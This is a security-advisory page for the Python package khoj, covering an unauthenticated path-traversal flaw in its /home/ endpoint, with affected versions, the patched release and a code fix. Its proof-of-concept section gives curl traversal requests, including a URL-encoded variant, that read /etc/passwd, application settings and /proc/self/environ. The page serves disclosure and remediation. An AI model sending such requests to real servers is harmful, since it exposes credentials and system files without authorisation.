Vulnerabilities in pkg:pypi/khoj

PACKAGE
Advisory Summary

GHSA-62mm-xwmv-crhg is a HIGH path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Khoj libraries in the PyPI ecosystem. The issue involves khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem. Remediation is available by upgrading affected packages to version 2.0.0-beta.25.

4 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/khoj

4 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/khoj. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-62mm-xwmv-crhg - HIGH khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem
GHSA-6whj-7qmg-86qj CVE-2025-69207 MODERATE Khoj has an IDOR in Notion OAuth Flow that Enables Index Poisoning
GHSA-hq4h-w933-jm6c CVE-2024-52294 MODERATE khoj has an IDOR in subscription management allows unauthorized subscription modifications
GHSA-cf72-vg59-4j4h CVE-2024-43396 MODERATE Khoj Vulnerable to Stored Cross-site Scripting In Automate (Preview feature)

GHSA-62mm-xwmv-crhg at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-62mm-xwmv-crhg
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Khoj
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix GHSA-62mm-xwmv-crhg

To remediate this vulnerability, upgrade all affected Khoj dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

khoj fixed: 2.0.0-beta.25
pip install khoj>=2.0.0-beta.25
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show khoj

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-62mm-xwmv-crhg, inspect your installed packages using pip:

pip show khoj

Analyze the terminal output to locate any version of Khoj in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.0-beta.25), your application is affected.

Note: The pip show khoj command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Khoj, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `/home/{file_path:path}` endpoint in `web_client.py` serves static files by directly concatenating the user-supplied `file_path` with the `home_directory` constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use `../` sequences to read arbitrary files from the server filesystem. ### Details **Vulnerable code** — `src/khoj/routers/web_client.py` lines 46-49: ```python @web_client.get("/home/{file_path:path}", response_class=FileResponse) def home_static_files(file_path: str): """Serve static files from the home landing page directory""" return FileResponse(constants.home_directory / file_path) ``` Where `home_directory` is defined in `src/khoj/utils/constants.py` line 6: ```python home_directory = web_directory / "home/" ``` **What is missing:** - No `..` traversal filtering - No path normalization/resolution check (e.g., `resolved.is_relative_to(home_directory)`) - No authentication decorator (`@requires(["authenticated"])` is absent) - Starlette's `FileResponse` does NOT perform path traversal protection **Path resolution:** ``` Request: GET /home/../../../../../../../etc/passwd file_path = "../../../../../../../etc/passwd" home_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd OS resolves to: /etc/passwd ``` ### PoC ```bash # Read /etc/passwd (no authentication required) curl http://localhost:42110/home/../../../../../../../etc/passwd # Read application settings (may contain SECRET_KEY, DB credentials) curl http://localhost:42110/home/../../../../settings.py # Read environment file curl http://localhost:42110/home/../../../../../../../proc/self/environ ``` URL-encoded variant (may bypass some reverse proxy normalization): ```bash curl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd ``` ### Impact Unauthenticated arbitrary file read. An attacker with network access to the Khoj instance can: - **Read application configuration** — Django `SECRET_KEY`, database credentials, API keys - **Read system files** — `/etc/passwd`, `/etc/shadow` (if permissions allow), `/proc/self/environ` - **Exfiltrate sensitive data** — Any file readable by the server process - **Facilitate further attacks** — Leaked credentials enable deeper compromise **No authentication required** — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker. ### Recommended fix Use FastAPI's built-in `StaticFiles` mount instead of a custom handler, or add explicit path validation: ```python @web_client.get("/home/{file_path:path}", response_class=FileResponse) def home_static_files(file_path: str): resolved = (constants.home_directory / file_path).resolve() if not resolved.is_relative_to(constants.home_directory.resolve()): raise HTTPException(status_code=404) return FileResponse(resolved) ```

GHSA-62mm-xwmv-crhg Affected Khoj Versions

1 component(s)
Fixed Versions:
2.0.0-beta.25
Product / Package Ecosystem Affected Versions Fixed Version
khoj
PyPI
≥ 2.0.0-beta.23
< 2.0.0-beta.25
2.0.0-beta.25

References

Frequently Asked Questions

What is GHSA-62mm-xwmv-crhg?
GHSA-62mm-xwmv-crhg is a security vulnerability in Khoj involving khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Khoj versions are affected?
Affected versions include releases prior to 2.0.0-beta.25 across affected packages: khoj.
What version fixes GHSA-62mm-xwmv-crhg?
Upgrading to 2.0.0-beta.25 (or the latest patched release for your respective branch) resolves the vulnerability.
Is khoj affected?
Yes, khoj is affected in releases prior to 2.0.0-beta.25. Upgrade your dependency to 2.0.0-beta.25 or later.
What CWE is associated with GHSA-62mm-xwmv-crhg?
GHSA-62mm-xwmv-crhg is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for GHSA-62mm-xwmv-crhg?
Run the dependency tree command: 'pip show khoj'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-62mm-xwmv-crhg",
  "modified" : "2026-09-25T21:38:15Z",
  "published" : "2026-09-25T21:38:15Z",
  "aliases" : [ ],
  "summary" : "khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem",
  "details" : "### Summary\nThe `/home/{file_path:path}` endpoint in `web_client.py` serves static files by directly concatenating the user-supplied `file_path` with the `home_directory` constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use `../` sequences to read arbitrary files from the server filesystem.\n\n### Details\n**Vulnerable code** — `src/khoj/routers/web_client.py` lines 46-49:\n\n```python\n@web_client.get(\"/home/{file_path:path}\", response_class=FileResponse)\ndef home_static_files(file_path: str):\n    \"\"\"Serve static files from the home landing page directory\"\"\"\n    return FileResponse(constants.home_directory / file_path)\n```\n\nWhere `home_directory` is defined in `src/khoj/utils/constants.py` line 6:\n```python\nhome_directory = web_directory / \"home/\"\n```\n\n**What is missing:**\n- No `..` traversal filtering\n- No path normalization/resolution check (e.g., `resolved.is_relative_to(home_directory)`)\n- No authentication decorator (`@requires([\"authenticated\"])` is absent)\n- Starlette's `FileResponse` does NOT perform path traversal protection\n\n**Path resolution:**\n```\nRequest: GET /home/../../../../../../../etc/passwd\nfile_path = \"../../../../../../../etc/passwd\"\nhome_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd\nOS resolves to: /etc/passwd\n```\n\n### PoC\n```bash\n# Read /etc/passwd (no authentication required)\ncurl http://localhost:42110/home/../../../../../../../etc/passwd\n\n# Read application settings (may contain SECRET_KEY, DB credentials)\ncurl http://localhost:42110/home/../../../../settings.py\n\n# Read environment file\ncurl http://localhost:42110/home/../../../../../../../proc/self/environ\n```\n\nURL-encoded variant (may bypass some reverse proxy normalization):\n```bash\ncurl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\n```\n\n### Impact\nUnauthenticated arbitrary file read. An attacker with network access to the Khoj instance can:\n\n- **Read application configuration** — Django `SECRET_KEY`, database credentials, API keys\n- **Read system files** — `/etc/passwd`, `/etc/shadow` (if permissions allow), `/proc/self/environ`\n- **Exfiltrate sensitive data** — Any file readable by the server process\n- **Facilitate further attacks** — Leaked credentials enable deeper compromise\n\n**No authentication required** — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker.\n\n### Recommended fix\nUse FastAPI's built-in `StaticFiles` mount instead of a custom handler, or add explicit path validation:\n\n```python\n@web_client.get(\"/home/{file_path:path}\", response_class=FileResponse)\ndef home_static_files(file_path: str):\n    resolved = (constants.home_directory / file_path).resolve()\n    if not resolved.is_relative_to(constants.home_directory.resolve()):\n        raise HTTPException(status_code=404)\n    return FileResponse(resolved)\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "khoj"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0-beta.23"
      }, {
        "fixed" : "2.0.0-beta.25"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/khoj-ai/khoj/security/advisories/GHSA-62mm-xwmv-crhg"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/khoj-ai/khoj/commit/21c51b9ace4eb59ce79ac0a93b917289824195cf"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/khoj-ai/khoj/commit/9801ffd2de642772f072ca496032b7c352013b6a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/khoj-ai/khoj"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/khoj-ai/khoj/releases/tag/2.0.0-beta.25"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-25T21:38:15Z",
    "nvd_published_at" : null
  }
}